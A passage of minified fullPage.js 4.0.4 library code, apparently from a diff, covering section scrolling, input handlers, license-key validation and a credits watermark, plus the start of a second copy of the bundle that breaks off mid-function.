t>g()?(i||a)&&"bottom"!==a||(o=r):(i||an.O&&null==S(n))&&(o=r),un({I:o}),o}(o),u={element:o,callback:t,isMovementUp:e,dtop:a,yMovement:st(ln().g,o),anchorLink:n.anchor,sectionIndex:n.index(),activeSlide:n.activeSlide?n.activeSlide.item:null,leavingSection:ln().g.index()+1,localIsResizing:an.O,items:{origin:ln().g,destination:n},direction:null};if(!(ln().g.item==o&&!an.O||Qn().scrollBar&&N(Qn())===u.dtop&&!m(o,xn))){if(null!=u.activeSlide&&(i=H(u.activeSlide,"data-anchor"),r=T(u.activeSlide,null)),!u.localIsResizing){var l=u.yMovement;if(void 0!==e&&(l=e?"up":"down"),u.direction=l,q(Qn().beforeLeave)&&!1===Ke("beforeLeave",u))return;if(q(Qn().onLeave)&&!St("onLeave",u))return}Qn().autoScrolling&&Qn().continuousVertical&&void 0!==u.isMovementUp&&(!u.isMovementUp&&"up"==u.yMovement||u.isMovementUp&&"down"==u.yMovement)&&(u=function(n){un({V:!0});var t=ln().g.item;return n.isMovementUp?z(t,J(t,Tn)):C(t,Z(t,Tn).reverse()),ht(ln().g.item.offsetTop),function(){for(var n=p(Dn),t=0;t<n.length;t++)_t(n[t],"internal")}(),n.kn=t,n.dtop=n.element.offsetTop,n.yMovement=st(ln().g,n.element),n}(u)),u.localIsResizing||xt(ln().g.item),O(o,wn),D(B(o),wn),Ut(),kt(o),un({R:c.test.An}),Lt(r,i,u.anchorLink),function(n){var t=Qn().scrollingSpeed<700,e=t?700:Qn().scrollingSpeed;if(un({C:"none",scrollY:Math.round(n.dtop)}),rn.l("onPerformMovement"),Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)pt("translate3d(0px, -"+Math.round(n.dtop)+"px, 0px)",!0),Qn().scrollingSpeed?(clearTimeout(Be),Be=setTimeout((function(){qe(n),un({R:!t||c.test.An})}),Qn().scrollingSpeed)):qe(n);else{var o=lt(n.dtop);c.test.top=-n.dtop+"px",b(Dt,{"scroll-behavior":"unset"}),clearTimeout(Be),wt(o.element,o.options,Qn().scrollingSpeed,(function(){Qn().scrollBar?Be=setTimeout((function(){qe(n)}),30):(qe(n),un({R:!t||c.test.An}))}))}t&&(clearTimeout(Ie),Ie=setTimeout((function(){un({R:!0})}),e))}(u),un({j:u.anchorLink}),We(u.anchorLink,u.sectionIndex)}}}function qe(n){Qn().fitToSection&&b(r.body,{"scroll-snap-type":"y mandatory"}),un({T:!1}),function(n){null!=n.kn&&(n.isMovementUp?z(p(Tn)[0],n.kn):C(p(Tn)[ln().h.length-1],n.kn),ht(ln().g.item.offsetTop),function(){for(var n=p(Dn),t=0;t<n.length;t++)_t(n[t],"internal")}(),un({V:!1}))}(n),q(Qn().afterLoad)&&!n.localIsResizing&&St("afterLoad",n),Ut(),n.localIsResizing||Tt(n.element),O(n.element,yn),D(B(n.element),yn),Ve(),de.un(),un({R:!0}),q(n.callback)&&n.callback()}function Ge(){var n=ln().g.next();n||!Qn().loopBottom&&!Qn().continuousVertical||(n=ln().h[0]),null!=n?_e(n,null,!1):Yn().scrollHeight<At.scrollHeight&&rn.l("scrollBeyondFullpage")}function Ue(){var n=ln().g.prev();n||!Qn().loopTop&&!Qn().continuousVertical||(n=nn(ln().h)),null!=n&&_e(n,null,!0)}c.moveTo=moveTo,c.getScrollY=function(){return an.scrollY},rn.u("onDestroy",(function(){clearTimeout(Be),clearTimeout(Ie)})),c.moveSectionDown=Ge,c.moveSectionUp=Ue;var Ye=0;function Qe(n){Qn().autoScrolling&&(an.R&&(n.pageY<Ye&&Bt().m.up?Ue():n.pageY>Ye&&Bt().m.down&&Ge()),Ye=n.pageY)}function Xe(n){if(Bt().m[n]){var t="down"===n?Ge:Ue;Qn().scrollOverflow&&de.gn(ln().g)?de.wn(n,ln().g.item)&&de.bn()&&t():t()}}var $e,Je,Ze,no=0,to=0,eo=0,oo=0,io=(i.PointerEvent&&(Ze={down:"pointerdown",move:"pointermove"}),Ze),ro={On:"ontouchmove"in window?"touchmove":io.move,Dn:"ontouchstart"in window?"touchstart":io.down};function ao(n){var t=R(n.target,Tn)||ln().g.item,e=de.gn(ln().g),o=Math.abs(no-eo)>i.innerHeight/100*Qn().touchSensitivity,r=Math.abs(to-oo)>w()/100*Qn().touchSensitivity,a=p(En,t).length&&Math.abs(to-oo)>Math.abs(no-eo),u=no>eo?"down":"up",l=a?to>oo?"right":"left":u;if(uo(n)){un({N:!0}),Qn().autoScrolling&&(!e||e&&!an.R)&&I(n);var c=fo(n);eo=c.y,oo=c.x,un({C:l}),a?!an.A&&r&&(to>oo?Bt().m.right&&rn.l("moveSlideRight",{section:t}):Bt().m.left&&rn.l("moveSlideLeft",{section:t})):Qn().autoScrolling&&an.R&&o&&Xe(u)}}function uo(n){return void 0===n.pointerType||"mouse"!=n.pointerType}function lo(n){if(Qn().fitToSection&&un({P:!1}),uo(n)){var t=fo(n);no=t.y,to=t.x}W("touchend",co)}function co(){_("touchend",co),un({N:!1})}function fo(n){var t={};return t.y=void 0!==n.pageY&&(n.pageY||n.pageX)?n.pageY:n.touches[0].pageY,t.x=void 0!==n.pageX&&(n.pageY||n.pageX)?n.pageX:n.touches[0].pageX,l&&uo(n)&&Qn().scrollBar&&void 0!==n.touches&&(t.y=n.touches[0].pageY,t.x=n.touches[0].pageX),t}function so(n){Qn().autoScrolling&&uo(n)&&Bt().m.up&&(an.R||I(n))}function vo(n,t){var e=null==t?ln().g.item:t,o=et(an.h,e),i=p(En,e)[0];if(!(null==i||an.A||o.slides.length<2)){var r=o.activeSlide,a="left"===n?r.prev():r.next();if(!a){if(!Qn().loopHorizontal)return;a="left"===n?nn(o.slides):o.slides[0]}un({A:!c.test.An}),Vt(i,a.item,n)}}function po(n){vo("left",n)}function ho(n){vo("right",n)}function mo(n){var t=ln().h.filter((function(t){return t.anchor===n}))[0];if(!t){var e=void 0!==n?n-1:0;t=ln().h[e]}return t}function go(n){null!=n&&Vt(R(n,En),n)}function wo(n,t){var e=mo(n);if(null!=e){var o=function(n,t){var e=t.slides.filter((function(t){return t.anchor===n}))[0];return null==e&&(n=void 0!==n?n:0,e=t.slides[n]),e?e.item:null}(t,e);e.anchor===an.j||m(e.item,wn)?go(o):_e(e,(function(){go(o)}))}}function bo(n,t){var e=mo(n);void 0!==t?wo(n,t):null!=e&&_e(e)}function yo(){clearTimeout(Je),K("keydown",So),K("keyup",To)}function So(n){clearTimeout(Je);var t=r.activeElement,e=n.keyCode,o=[37,39].indexOf(e)>-1,i=Qn().autoScrolling||o;9===e?function(n){var t=n.shiftKey,e=r.activeElement,o=xo(ut(ln().g.item));function i(n){return I(n),o[0]?o[0].focus():null}(function(n){var t=xo(r),e=t.indexOf(r.activeElement),o=t[n.shiftKey?e-1:e+1],i=R(o,On),a=R(o,Tn);return!i&&!a})(n)||(e?null==R(e,".fp-section.active,.fp-section.active .fp-slide.active")&&(e=i(n)):i(n),(!t&&e==o[o.length-1]||t&&e==o[0])&&I(n))}(n):U(t,"textarea")||U(t,"input")||U(t,"select")||"true"===H(t,"contentEditable")||""===H(t,"contentEditable")||!Qn().keyboardScrolling||!i||($e=n.ctrlKey,Je=setTimeout((function(){!function(n){var t=n.shiftKey,e=r.activeElement,o=U(e,"video")||U(e,"audio"),i=de.wn("up",ln().g.item),a=de.wn("down",ln().g.item),u=[37,39].indexOf(n.keyCode)>-1;if(ko(n),an.R||u)switch(un({S:"keydown"}),n.keyCode){case 38:case 33:Bt().k.up&&i&&(an.T?rn.l("onKeyDown",{e:n}):Ue());break;case 32:if(t&&Bt().k.up&&!o&&i){Ue();break}case 40:case 34:if(Bt().k.down&&a){if(an.T)return;32===n.keyCode&&o||Ge()}break;case 36:Bt().k.up&&bo(1);break;case 35:Bt().k.down&&bo(ln().h.length);break;case 37:Bt().k.left&&po();break;case 39:Bt().k.right&&ho()}}(n)}),0))}function To(n){an.B&&($e=n.ctrlKey)}function Mo(){un({B:!1}),$e=!1}function xo(n){return[].slice.call(p('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, [tabindex="0"], [contenteditable]',n)).filter((function(n){return"-1"!==H(n,"tabindex")&&null!==n.offsetParent}))}function ko(n){(function(n){return[40,38,32,33,34].indexOf(n.keyCode)>-1&&!an.T})(n)&&!R(n.target,zn)&&n.preventDefault()}c.moveSlideLeft=po,c.moveSlideRight=ho,c.moveTo=bo,rn.u("bindEvents",(function(){W("blur",Mo),V("keydown",So),At.addEventListener("keydown",ko),V("keyup",To),rn.u("onDestroy",yo)}));var Ao=(new Date).getTime(),Oo=[];function Do(n){n?(function(){var n,t="";i.addEventListener?n="addEventListener":(n="attachEvent",t="on");var e="onwheel"in r.createElement("div")?"wheel":void 0!==r.onmousewheel?"mousewheel":"DOMMouseScroll",o=Me();"DOMMouseScroll"==e?r[n](t+"MozMousePixelScroll",jo,o):r[n](t+e,jo,o)}(),Yn().addEventListener("mousedown",Eo),Yn().addEventListener("mouseup",Lo)):(r.addEventListener?(K("mousewheel",jo,!1),K("wheel",jo,!1),K("MozMousePixelScroll",jo,!1)):r.detachEvent("onmousewheel",jo),Yn().removeEventListener("mousedown",Eo),Yn().removeEventListener("mouseup",Lo))}function jo(n){var t=(new Date).getTime(),e=m(p(".fp-completely")[0],"fp-normal-scroll"),o=function(n,t){(new Date).getTime();var e=ln().T&&n.getBoundingClientRect().bottom>=0&&"up"===Le.Mn(),o=ln().xn;if(o)return I(t),!1;if(ln().T){if(e){var i;if(!(o||He("isNewKeyframe","beyondFullpage")&&Le.Tn()))return(i=lt(nn(ln().h).item.offsetTop+nn(ln().h).item.offsetHeight)).element.scrollTo(0,i.options),un({xn:!1}),I(t),!1;if(Le.Tn())return e=!1,un({xn:!0}),un({S:"wheel"}),Ce(),I(t),!1}else He("set","beyondFullpage",1e3);if(!o&&!e)return!0}}(Yn(),n);if(!Bt().m.down&&!Bt().m.up)return I(n),!1;if(o)return!0;if(!1===o)return I(n),!1;if(Qn().autoScrolling&&!$e&&!e){var r=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,a=Math.max(-1,Math.min(1,r)),u=void 0!==n.wheelDeltaX||void 0!==n.deltaX,l=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!u,c=a<0?"down":a>0?"up":"none";Oo.length>149&&Oo.shift(),Oo.push(Math.abs(r)),Qn().scrollBar&&I(n);var f=t-Ao;return Ao=t,f>200&&(Oo=[]),un({F:c}),an.R&&tn(Oo,10)>=tn(Oo,70)&&l&&(un({S:"wheel"}),Xe(a<0?"down":"up")),!1}Qn().fitToSection&&un({P:!1})}function Eo(n){var t;2==n.which&&(t=n.pageY,Ye=t,Yn().addEventListener("mousemove",Qe))}function Lo(n){2==n.which&&Yn().removeEventListener("mousemove",Qe)}function Po(n){n?(Do(!0),function(){if(a||l){Qn().autoScrolling&&(At.removeEventListener(ro.On,so,{passive:!1}),At.addEventListener(ro.On,so,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(ro.Dn,lo),n.removeEventListener(ro.On,ao,{passive:!1}),n.addEventListener(ro.Dn,lo),n.addEventListener(ro.On,ao,{passive:!1})}}()):(Do(!1),function(){if(a||l){Qn().autoScrolling&&(At.removeEventListener(ro.On,ao,{passive:!1}),At.removeEventListener(ro.On,so,{passive:!1}));var n=Qn().touchWrapper;n.removeEventListener(ro.Dn,lo),n.removeEventListener(ro.On,ao,{passive:!1})}}())}c.setMouseWheelScrolling=Do;var Ro=!0;function Co(){["mouseenter","touchstart","mouseleave","touchend"].forEach((function(n){K(n,Fo,!0)}))}function zo(n,t){document["fp_"+n]=t,V(n,Fo,!0)}function Fo(n){var t=n.type,e=!1,o="mouseleave"===t?n.toElement||n.relatedTarget:n.target;o!=document&&o?("touchend"===t&&(Ro=!1,setTimeout((function(){Ro=!0}),800)),("mouseenter"!==t||Ro)&&(Qn().normalScrollElements.split(",").forEach((function(n){if(!e){var t=U(o,n),i=R(o,n);(t||i)&&(c.shared.jn||Po(!1),c.shared.jn=!0,e=!0)}})),!e&&c.shared.jn&&(Po(!0),c.shared.jn=!1))):Po(!0)}function No(n,t){mt(0,"internal"),bo(n,t),mt(Xn().scrollingSpeed,"internal")}rn.u("bindEvents",(function(){Qn().normalScrollElements&&(["mouseenter","touchstart"].forEach((function(n){zo(n,!1)})),["mouseleave","touchend"].forEach((function(n){zo(n,!0)}))),rn.u("onDestroy",Co)})),c.silentMoveTo=No;var Bo,Io=g(),Ho=w(),Vo=!1;function Wo(){clearTimeout(Bo),_("resize",Ko)}function Ko(){Vo||(Qn().autoScrolling&&!Qn().scrollBar||!Qn().fitToSection)&&qo(g()),Vo=!0,clearTimeout(Bo),Bo=setTimeout((function(){!function(){if(un({O:!0}),qo(""),!Qn().fitToSection||Qn().autoScrolling||an.T||function(){if(!Qn().autoScrolling||Qn().scrollBar){var n=.01*i.innerHeight;r.documentElement.style.setProperty("--vh","".concat(n,"px"))}}(),rn.l("contentChanged"),Ut(),ce(),a){var n=r.activeElement;if(!U(n,"textarea")&&!U(n,"input")&&!U(n,"select")){var t=g();Math.abs(t-Io)>20*Math.max(Io,t)/100&&(_o(!0),Io=t)}}else e=g(),o=w(),an.H===e&&Ho===o||(un({H:e}),Ho=o,_o(!0));var e,o;un({O:!1})}(),Vo=!1}),400)}function _o(n){if(!m(Yn(),mn)){un({O:!0,H:g(),En:w()});for(var t=ln().h,e=0;e<t.length;++e){var o=t[e],r=p(En,o.item)[0];o.slides.length>1&&Vt(r,o.activeSlide.item)}Qn().scrollOverflow&&de.an();var a=ln().g.index();an.T||a&&No(a+1),un({O:!1}),q(Qn().afterResize)&&n&&Qn().afterResize.call(Yn(),i.innerWidth,i.innerHeight),q(Qn().afterReBuild)&&!n&&Qn().afterReBuild.call(Yn()),G(Yn(),"afterRebuild")}}function qo(n){var t=""===n?"":n+"px";ln().h.forEach((function(n){b(n.item,{height:t})}))}function Go(){var n,t,e=i.location.hash;if(e.length){var o=e.replace("#","").split("/"),r=e.indexOf("#/")>-1;n=r?"/"+o[1]:decodeURIComponent(o[0]);var a=r?o[2]:o[1];a&&a.length&&(t=decodeURIComponent(a))}return{section:n,J:t}}function Uo(){_("hashchange",Yo)}function Yo(){if(!an.D&&!Qn().lockAnchors){var n=Go(),t=n.section,e=n.J,o=void 0===an.j,i=void 0===an.j&&void 0===e&&!an.A;t&&t.length&&(t&&t!==an.j&&!o||i||!an.A&&an.L!=e)&&rn.l("onScrollPageAndSlide",{Ln:t,slideAnchor:e})}}function Qo(n){var t=n.target;R(t,Qn().menu+" [data-menuanchor]")&&Xo.call(t,n)}function Xo(n){un({S:"menu"}),!p(Qn().menu)[0]||!Qn().lockAnchors&&Qn().anchors.length||(I(n),rn.l("onMenuClick",{anchor:H(this,"data-menuanchor")}))}function $o(n){var t=n.target;t&&R(t,"#fp-nav a")?ee.call(t,n.e):U(t,".fp-tooltip")?ne.call(t):(U(t,Nn)||null!=R(t,Nn))&&Ct.call(t,n.e)}c.reBuild=_o,rn.u("bindEvents",(function(){W("resize",Ko),rn.u("onDestroy",Wo)})),c.setLockAnchors=function(n){Qn().lockAnchors=n},rn.u("bindEvents",(function(){W("hashchange",Yo),rn.u("onDestroy",Uo)})),rn.u("bindEvents",(function(){V("wheel",Le.Sn,Me()),rn.u("scrollBeyondFullpage",Pe),rn.u("onKeyDown",Re)})),rn.u("bindEvents",(function(){rn.u("onClickOrTouch",Qo)})),rn.u("bindEvents",(function(){rn.u("onClickOrTouch",$o)}));var Jo,Zo=0;function ni(n){var t,e,o,i,r;if(!an.O&&ln().g&&(nn(ln().h),!ln().T&&!ln().xn&&(!Qn().autoScrolling||Qn().scrollBar))){var a=N(Qn()),u=function(n){var t=n>Zo?"down":"up";return Zo=n,un({I:n}),t}(a),l=0,c=a+g()/2,f=At.scrollHeight-g()===a,s=ln().h;if(un({scrollY:a}),f)l=s.length-1;else if(a)for(var v=0;v<s.length;++v)s[v].item.offsetTop<=c&&(l=v);else l=0;if(o=u,i=ln().g.item.offsetTop,r=i+g(),("up"==o?r>=N(Qn())+g():i<=N(Qn()))&&(m(ln().g.item,yn)||(O(ln().g.item,yn),D(B(ln().g.item),yn))),e=(t=s[l]).item,!t.isActive){un({D:!0});var d,p,h=ln().g.item,w=ln().g.index()+1,b=st(ln().g,e),y=t.anchor,S=t.index()+1,T=t.activeSlide,M={g:h,sectionIndex:S-1,anchorLink:y,element:e,leavingSection:w,direction:b,items:{origin:ln().g,destination:t}};T&&(p=T.anchor,d=T.index()),an.R&&(O(e,wn),D(B(e),wn),q(Qn().beforeLeave)&&Ke("beforeLeave",M),q(Qn().onLeave)&&St("onLeave",M),q(Qn().afterLoad)&&St("afterLoad",M),xt(h),kt(e),Tt(e),We(y,S-1),Qn().anchors.length&&un({j:y}),Lt(d,p,y),Ut()),clearTimeout(Jo),Jo=setTimeout((function(){un({D:!1})}),100)}}}function ti(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Nt(n,t,"k")})):(Nt(n,"all","k"),Qn().keyboardScrolling=n)}function ei(n){var t=n.index();void 0!==Qn().anchors[t]&&n.isActive&&We(Qn().anchors[t],t),Qn().menu&&Qn().css3&&null!=R(p(Qn().menu)[0],dn)&&p(Qn().menu).forEach((function(n){At.appendChild(n)}))}function oi(){b(function(n,t){var e=[n];do{n=n.parentNode,e.push(n)}while(!U(n,"body"));return e}(Yn()),{height:"100%",position:"relative"}),O(Yn(),vn),O(Ot,gn),un({H:g()}),D(Yn(),mn),Zt();for(var n=ln().G,t=0;t<n.length;t++){var e=n[t],o=e.en;e.item.setAttribute("data-fp-styles",H(e.item,"style")),we(e),ei(e),o.length>0&&he(e)}Qn().fixedElements&&Qn().css3&&p(Qn().fixedElements).forEach((function(n){At.appendChild(n)})),Qn().navigation&&te(),p('iframe[src*="youtube.com/embed/"]',Yn()).forEach((function(n){var t,e;e=H(t=n,"src"),t.setAttribute("src",e+(/\?/.test(e)?"&":"?")+"enablejsapi=1")}))}function ii(){var n,t,e=ln().g,o=ln().g.item;O(o,yn),kt(o),Ve(),Tt(o),t=mo((n=Go()).section),n.section&&t&&(void 0===t||t.index()!==T(ge))||!q(Qn().afterLoad)||St("afterLoad",{g:o,element:o,direction:null,anchorLink:e.anchor,sectionIndex:e.index(),items:{origin:ln().g,destination:ln().g}}),q(Qn().afterRender)&&St("afterRender")}function ri(n,t){void 0!==t?(t=t.replace(/ /g,"").split(",")).forEach((function(t){Nt(n,t,"m")})):Nt(n,"all","m")}function ai(){var n=Go(),t=n.section,e=n.J;t&&(Qn().animateAnchor?wo(t,e):No(t,e))}function ui(){var n=Qn().licenseKey;Qn()&&an.Pn||r.domain.indexOf("alvarotrigo.com")>-1?n&&n.length:(s("error","Fullpage.js requires a `licenseKey` option. Read about it on the following URL:"),s("error","https://github.com/alvarotrigo/fullPage.js#options")),m(Ot,gn)?s("error","Fullpage.js can only be initialized once and you are doing it multiple times!"):(Qn().continuousVertical&&(Qn().loopTop||Qn().loopBottom)&&(Qn().continuousVertical=!1,s("warn","Option `loopTop/loopBottom` is mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),!Qn().scrollOverflow||!Qn().scrollBar&&Qn().autoScrolling||s("warn","Options scrollBar:true and autoScrolling:false are mutually exclusive with scrollOverflow:true. Sections with scrollOverflow might not work well in Firefox"),!Qn().continuousVertical||!Qn().scrollBar&&Qn().autoScrolling||(Qn().continuousVertical=!1,s("warn","Scroll bars (`scrollBar:true` or `autoScrolling:false`) are mutually exclusive with `continuousVertical`; `continuousVertical` disabled")),f.forEach((function(n){Qn()[n]&&s("warn","fullpage.js extensions require fullpage.extensions.min.js file instead of the usual fullpage.js. Requested: "+n)})),Qn().anchors.forEach((function(n){var t=[].slice.call(p("[name]")).filter((function(t){return H(t,"name")&&H(t,"name").toLowerCase()==n.toLowerCase()})),e=[].slice.call(p("[id]")).filter((function(t){return H(t,"id")&&H(t,"id").toLowerCase()==n.toLowerCase()}));if(e.length||t.length){s("error","data-anchor tags can not have the same value as any `id` element on the site (or `name` element for IE).");var o=e.length?"id":"name";(e.length||t.length)&&s("error",'"'+n+'" is is being used by another element `'+o+"` property")}})))}function li(n,t){var e;if(At=p("body")[0],Ot=p("html")[0],Dt=p("html, body"),!m(Ot,gn))return"touchWrapper",e="string"==typeof n?p(n)[0]:n,Kn.touchWrapper=e,function(n){Un=h({},Kn,n),Gn=Object.assign({},Un)}(t),function(n){_n=n}("string"==typeof n?p(n)[0]:n),rn.l("onInitialise"),ui(),c.getFullpageData=function(){return{options:Qn()}},c.version="4.0.4",c.test=Object.assign(c.test,{top:"0px",X:"translate3d(0px, 0px, 0px)",nn:function(){for(var n=[],t=0;t<p(Qn().sectionSelector,Yn()).length;t++)n.push("translate3d(0px, 0px, 0px)");return n}(),left:function(){for(var n=[],t=0;t<p(Qn().sectionSelector,Yn()).length;t++)n.push(0);return n}(),options:Qn(),setAutoScrolling:null}),c.shared=Object.assign(c.shared,{Rn:null,jn:!1}),i.fullpage_api=c,Yn()&&(rn.l("beforeInit"),Yt(),Ut(),Qn().scrollBar=Qn().scrollBar||Qn().hybrid,Jn(),oi(),le(!0),ri(!0),Po(!0),ie(Qn().autoScrolling,"internal"),ce(),jt(),"complete"===r.readyState&&ai(),W("load",ai),ii(),Yt(),Ut(),rn.l("bindEvents")),i.fullpage_api;ui()}return rn.u("onDestroy",(function(){clearTimeout(Jo),clearTimeout(void 0)})),rn.u("bindEvents",(function(){W("scroll",ni),r.body.addEventListener("scroll",ni),rn.u("onScrollPageAndSlide",(function(n){wo(n.Ln,n.slideAnchor)})),rn.u("onMenuClick",(function(n){bo(n.anchor,void 0)})),rn.u("onScrollOverflowScrolled",(function(n){("down"===n.direction?Ge:Ue)()})),rn.u("scrollPage",(function(n){_e(n.destination)}))})),rn.u("onDestroy",(function(){_("scroll",ni)})),c.getActiveSlide=function(){return yt(ln().g.activeSlide.item)},c.getScrollX=function(){return an.scrollX},rn.u("bindEvents",(function(){rn.u("onDestroy",Wt),rn.u("landscapeScroll",(function(n){Vt(n.slides,n.destination)})),rn.u("moveSlideRight",(function(n){ho(n.section)})),rn.u("moveSlideLeft",(function(n){po(n.section)}))})),rn.u("bindEvents",(function(){var n=Qn().credits.position,t=["left","right"].indexOf(n)>-1?"".concat(n,": 0;"):"",e='\n        <div class="fp-watermark" style="'.concat(t,'">\n            <a href="https://alvarotrigo.com/fullPage/" \n                rel="nofollow noopener" \n                target="_blank" \n                style="text-decoration:none; color: #000;">\n                    ').concat(Qn().credits.label,"\n            </a>\n        </div>\n    "),o=nn(an.h),i=Qn().credits.enabled&&!an.Pn;o&&o.item&&i&&o.item.insertAdjacentHTML("beforeend",e)})),function(){rn.u("onInitialise",(function(){var t,u;un({Pn:(Qn().licenseKey,t=Qn().licenseKey,u=function(t){var e=parseInt("514").toString(16);if(!t||t.length<29||4===t.split(n[0]).length)return null;var o=["Each","for"][i()]().join(""),u=t[["split"]]("-"),l=[];u[o]((function(n,t){if(t<4){var o=function(n){var t=n[n.length-1],e=["NaN","is"][i()]().join("");return window[e](t)?r(t):function(n){return n-wn.length}(t)}(n);l.push(o);var a=r(n[o]);if(1===t){var u=["pa","dS","t","art"].join("");a=a.toString()[u](2,"0")}e+=a,0!==t&&1!==t||(e+="-")}}));var c=0,f="";return t.split("-").forEach((function(n,t){if(t<4){for(var e=0,o=0;o<4;o++)o!==l[t]&&(e+=Math.abs(r(n[o])),isNaN(n[o])||c++);var i=a(e);f+=i}})),f+=a(c),{Cn:new Date(e+"T00:00"),zn:e.split("-")[2]===8*(wn.length-2)+"",Fn:f}}(t),u&&(Qn().credits&&u&&u.Cn<=e&&u.Fn===t.split(n[0])[4]||function(n){var t=o[i()]().join("");return n&&0===t.indexOf(n)&&n.length===t.length}(t)||u.zn)||!1)})}));var n=["-"],t="2022-3-12".split("-"),e=new Date(t[0],t[1],t[2]),o=["se","licen","-","v3","l","gp"];function i(){return[["re","verse"].join("")]["".length]}function r(n){return isNaN(n)?n.charCodeAt(0)-72:n}function a(n){var t=72+n;return t>90&&t<97&&(t+=15),String.fromCharCode(t).toUpperCase()}}(),c.setKeyboardScrolling=ti,c.shared.Rn=ii,c.setAllowScrolling=ri,c.destroy=function(n){ie(!1,"internal"),ri(!0),Po(!1),ti(!1),O(Yn(),mn),rn.l("onDestroy"),n&&(ht(0),p("img[data-src], source[data-src], audio[data-src], iframe[data-src]",Yn()).forEach((function(n){en(n,"src")})),p("img[data-srcset]").forEach((function(n){en(n,"srcset")})),X(p("#fp-nav, .fp-slidesNav, .fp-controlArrow")),b(tt(ln().h),{height:"","background-color":"",padding:""}),b(tt(ln().slides),{width:""}),b(Yn(),{height:"",position:"","-ms-touch-action":"","touch-action":""}),b(Dt,{overflow:"",height:""}),D(Ot,gn),D(At,pn),At.className.split(/\s+/).forEach((function(n){0===n.indexOf("fp-viewing")&&D(At,n)})),tt(ln().Y).forEach((function(n){Qn().scrollOverflow&&D(n,Cn),D(n,"fp-table active "+yn),H(n,"data-fp-styles")&&n.setAttribute("style",H(n,"data-fp-styles")),m(n,Sn)&&!qn&&n.removeAttribute("data-anchor")})),vt(Yn()),[Mn,Pn,En].forEach((function(n){p(n,Yn()).forEach((function(n){P(n)}))})),b(Yn(),{"-webkit-transition":"none",transition:"none"}),i.scrollTo(0,0),[Sn,An,Ln].forEach((function(n){D(p("."+n),n)})))},i.fp_easings=h(i.fp_easings,{easeInOutCubic:function(n,t,e,o){return(n/=o/2)<1?e/2*n*n*n+t:e/2*((n-=2)*n*n+2)+t}}),i.jQuery&&function(n,t){n&&t?n.fn.fullpage=function(e){e=n.extend({},e,{$:n}),new t(this[0],e),Object.keys(c).forEach((function(n){Qn().$.fn.fullpage[n]=c[n]}))}:s("error","jQuery is required to use the jQuery fullpage adapter!")}(i.jQuery,li),li}));
+!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).fullpage=t()}(this,(function(){"use strict";var n,t,e,o;Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(n){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),e=t.length>>>0;if("function"!=typeof n)throw new TypeError("predicate must be a function");for(var o=arguments[1],i=0;i<e;){var r=t[i];if(n.call(o,r,i,t))return r;i++}}}),Array.from||(Array.from=(n=Object.prototype.toString,t=function(t){return"function"==typeof t||"[object Function]"===n.call(t)},e=Math.pow(2,53)-1,o=function(n){var t=function(n){var t=Number(n);return isNaN(t)?0:0!==t&&isFinite(t)?(t>0?1:-1)*Math.floor(Math.abs(t)):t}(n);return Math.min(Math.max(t,0),e)},function(n){var e=this,i=Object(n);if(null==n)throw new TypeError("Array.from requires an array-like object - not null or undefined");var r,a=arguments.length>1?arguments[1]:void 0;if(void 0!==a){if(!t(a))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(r=arguments[2])}for(var u,l=o(i.length),c=t(e)?Object(new e(l)):new Array(l),f=0;f<l;)u=i[f],c[f]=a?void 0===r?a(u,f):a.call(r,u,f):u,f+=1;return c.length=l,c}));var i=window,r=document,a=navigator.userAgent.match(/(iPhone|iPod|iPad|Android|playbook|silk|BlackBerry|BB10|Windows Phone|Tizen|Bada|webOS|IEMobile|Opera Mini)/),u=/(Mac|iPhone|iPod|iPad)/i.test(i.navigator.userAgent),l="ontouchstart"in i||navigator.msMaxTouchPoints>0||navigator.maxTouchPoints,c={test:{},shared:{}},f=["parallax","scrollOverflowReset","dragAndMove","offsetSections","fadingEffect","responsiveSlides","continuousHorizontal","interlockedSlides","scrollHorizontally","resetSliders","cards","dropEffect","waterEffect"];function s(n,t){i.console&&i.console[n]&&i.console[n]("fullPage: "+t)}function v(n){return"none"!==i.getComputedStyle(n).display}function d(n){return Array.from(n).filter((function(n){return v(n)}))}function p(n,t){return(t=arguments.length>1?t:document)?t.querySelectorAll(n):null}function h(n){n=n||{};for(var t=1,e=arguments.length;t<e;++t){var o=arguments[t];if(o)for(var i in o)o.hasOwnProperty(i)&&"__proto__"!=i&&"constructor"!=i&&("[object Object]"!==Object.prototype.toString.call(o[i])?n[i]=o[i]:n[i]=h(n[i],o[i]))}return n}function m(n,t){return null!=n&&n.classList.contains(t)}function g(){return"innerHeight"in i?i.innerHeight:r.documentElement.offsetHeight}function w(){return i.innerWidth}function b(n,t){var e;for(e in n=M(n),t)if(t.hasOwnProperty(e)&&null!==e)for(var o=0;o<n.length;o++)n[o].style[e]=t[e];return n}function y(n){return n.previousElementSibling}function S(n){return n.nextElementSibling}function T(n,t){n=A(n)?n[0]:n;for(var e=null!=t?p(t,n.parentNode):n.parentNode.childNodes,o=0,i=0;i<e.length;i++){if(e[i]==n)return o;1==e[i].nodeType&&o++}return-1}function M(n){return A(n)?n:[n]}function x(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="none";return n}function k(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="block";return n}function A(n){return"[object Array]"===Object.prototype.toString.call(n)||"[object NodeList]"===Object.prototype.toString.call(n)}function O(n,t){n=M(n);for(var e=0;e<n.length;e++)n[e].classList.add(t);return n}function D(n,t){n=M(n);for(var e=t.split(" "),o=0;o<e.length;o++){t=e[o];for(var i=0;i<n.length;i++)n[i].classList.remove(t)}return n}function j(n,t){t.appendChild(n)}function E(n,t,e){var o;t=t||r.createElement("div");for(var i=0;i<n.length;i++){var a=n[i];(e&&!i||!e)&&(o=t.cloneNode(!0),a.parentNode.insertBefore(o,a)),o.appendChild(a)}return n}function L(n,t){E(n,t,!0)}function P(n){for(var 